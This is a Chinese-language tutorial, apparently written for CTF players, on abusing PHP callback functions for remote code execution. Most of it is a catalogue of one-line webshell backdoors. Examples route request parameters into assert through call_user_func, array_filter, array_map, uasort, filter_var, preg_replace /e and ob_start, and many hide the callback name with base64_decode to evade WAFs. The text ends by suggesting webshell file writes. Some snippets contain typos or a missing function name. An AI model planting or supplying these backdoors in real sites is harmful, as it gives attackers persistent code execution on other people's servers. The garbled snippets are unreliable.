PHP回调函数(Callback)

前言:这些回调函数经过测试,在php版本不匹配的情况下有些回调函数是无法运行的

Here we go

什么是回调函数

回调函数:

1
2
回调函数:Callback(即call then back被主函数调用运算之后还会返回到主函数);是指被函数参数传递到其他代
码中执行,某一块可执行代码的引用

回调函数就是将一个函数作为参数;然后传递到另一个函数中的函数。php中有许多这样的函数,比如call_user_func , call_user_func_array,array_map等等。此时会将函数作为参数调用执行后返回主函数。既然回调函数可
以将函数作为参数传入另一个函数进行执行然后回调到主函数;那么我们此时便可以将一些危险函数比如eval函数或者system函数作为参数传入进行RCE;这也是我们在比赛中遇到回调函数的一种思路

回调与直掉

可能光看定义的话还是无法理解;那么此时我们来借助直掉函数与回调函数例子的一个比较来加深我们对回调函数的理解
直掉函数:直接运行一个函数便是直调

1
2
3
4
5
6
<?php
function hello(){
echo "hello";
}

hello();

此时直接调用hello()函数;并没有将hello()作为一个参数传入另一个函数;此时我们便可以称其为直掉

回调函数:

1
2
3
4
5
6
7
8
9
10
<?php
function run($func, $param){
call_user_func($func, $param);
echo "Run done!<br/>";
}
function hello($param){
echo "hello".$param."<br/>";
}

run("hello", 1);

此时我们可以看到定义了两个函数;分别是run()和hello();此时的hello()函数便作为参数传入到run()函数之中被其调用执行;此时我们将hello()称为回调函数;run()称为中间函数;此时的回调是通过call_user_func()
来实现的。

回调函数的后门

1.call_user_func

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] ):此时第一个参
数$callback作为回调函数;其余的作为回调函数的参数

1
2
3
<?php
call_user_func('assert',$_GET['wann']);
?>

此时便是将assert作为回调函数;然后wann作为回调函数中的参数进行回调

2.call_user_func_array()

mixed call_user_func_array ( callable $callback , array $param_arr ):此时还是将第一个参数$callb
ack作为回调函数;然后将参数数组$param_arr作为回调函数的参数进行传入

1
2
3
4

<?php
call_user_func_array('assret',$_GET['wann']);
?>

此时还是将assert作为回调函数;然后wann[]数组作为回调函数的参数进行回调

单参数回调后门

1.array_filter等数组操作函数

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ):此时会将数组中的元素遍历
给回调函数

1
2
3
<?php
array_filter($arr = array($_POST['hey'],),base64_decode($_GET['wann']));
?>

同样作为后门的数组操作函数还有

1
2
3
4
array_filter($arr = array($_POST['hey'],),base64_decode($_REQUEST['wann']));
array_walk($arr = array($_POST['hey'],),base64_decode($_REQUEST['wann']));
array_walk_recursive($arr = array($_POST['hey'],),base64_decode($_REQUEST['wann']));
array_map(base64_decode($_REQUEST['hey']),$arr = array($_POST['wann'],));

这些函数都是将数组遍历作为参数传递给回调函数

2.registregister_shutdown_function

1
2
3
<?php
registregister_shutdown_function(base64_decode($_GET['hey']),$_GET['wann']);
?>

此时依旧是将参数wann作为回调函数hey的参数进行执行

3.register_tick_function

1
2
declare(ticks=1);
register_tick_function (base64_decode($_GET['hey']), $_GET['wann']);

这里的declare函数是用于设定时钟周期ticks值的函数,而register_tick_function函数是依据ticks的值运行的

4.filter_var

1
2
3
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
?>

5.filter_var_array

1
2
3
<?php
(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK);并且op
tions的值为assert即可

双参数回调后门

1.assert

assert在php手册中的定义十分简单:检查一个断言是否为FALSE。
assert是一个可以用于debug的函数,会将传入的字符串作为PHP代码执行,也可以作为一个后门函数使用,同时也可以作为一个回调函数使用,于是来看看assert作为回调函数时的参数。

1
回调函数应该接受三个参数。 第一个参数包括了断言失败所在的文件。 第二个参数包含了断言失败所在的行号,第三个参数包含了失败的表达式(如有任意 — 字面值例如 1 或者 “two” 将不会传递到这个参数)。 PHP 5.4.8 及更高版本的用户也可以提供第四个可选参数,如果设置了,用于将 description 指定到 assert()。

实际上在使用回调函数时只需传入两个参数即可以使assert()成功执行PHP代码,所以使用传递两个参数的回调函数也可调用assert(),更容易绕过waf了。
! PHP 5.4.8 版本及其以上 !

2.uasort

PHP 4, PHP 5, PHP 7
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

1
2
3
<?php
uasort($arr = array('',$_REQUEST['a']),base64_decode($_REQUEST['e']));
?>

此时的回调函数可以传递两个参数;所以此时构造一个回调后门

3.uksort

PHP 4, PHP 5, PHP 7
uksort — 使用用户自定义的比较函数对数组中的键名进行排序

1
2
3
<?php
uksort($arr =array('' => 1 ,$_REQUEST['a'] => 2),base64_decode($_REQUEST['e']));
?>

此时依旧可以传递两个参数;我们依旧可以构造回调后门

4.array_reduce

PHP 4 >= 4.0.5, PHP 5, PHP 7
array_reduce — 用回调函数迭代地将数组简化为单一的值

1
2
3
<?php
array_reduce($arr = array(''), base64_decode($_REQUEST['e']), $_REQUEST['a']);
?>

5.array_udiff

PHP 5, PHP 7
array_udiff — 用回调函数比较数据来计算数组的差集

1
2
3
<?php
array_udiff($arr=array($_REQUEST['a']),$arr1 = array(''),base64_decode($_REQUEST['e']));
?>

三参数回调后门

1.preg_replace

(PHP 4, PHP 5, PHP 7)
preg_replace — 执行一个正则表达式的搜索和替换

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分,以replacement进行替换。看上去一个人畜无害的函数,然而其中的pattern函数可以使用PCRE修饰符,其中的/e修饰符,按照PHP手册中的定义,如果设置了这个被弃用的修饰符则会在
preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php代码评估执行(eval 函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线()和NULL字符在后向引用替换时会被用反斜线转义.
意味着当进行正则替换时使用该修饰符既可以将替换的字符串作为PHP代码执行,所以这个危险的修饰符在PHP7中被移除。
然而在PHP7之前的版本依然可以使用,所以找一个可以传递三个参数回调函数的函数。

2.array_walk()

(PHP 4, PHP 5, PHP 7)
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

1
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

callback:典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
userdata:如果提供了可选参数 userdata,将被作为第三个参数传递给 callback funcname。

1
2
3
<?php
array_walk($arr = array($_POST['a'] => '|.*|e',),base64_decode($_REQUEST['e']),'');
?>

3.array_walk_recursive()

(PHP 5, PHP 7)
array_walk_recursive — 对数组中的每个成员递归地应用用户函数

1
bool array_walk_recursive ( array &$array , callable $callback [, mixed $userdata = NULL ] )

callback:典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
userdata:如果提供了可选参数 userdata,将被作为第三个参数传递给 callback。

1
2
3
<?php
array_walk_recursive($arr = array($_POST['a'] => '|.*|e',), base64_decode($_REQUEST['e']),'');
?>

无回显回调函数

1.ob_start

PHP 4, PHP 5, PHP 7
ob_start — 打开输出控制缓

1
2
3
4
5
<?php
ob_start('assert');
echo $_REQUEST['a'];
ob_end_flush();
?>

ob_start函数可以用来打开输出缓冲,配合ob_end_flush()可以将存储在内部缓冲区中的内容输出给回调函数,然而这里的回调函数执行是没有回显的,但是我们可以通过这个函数写入一些后门文件,从而达到添加webshell的意图。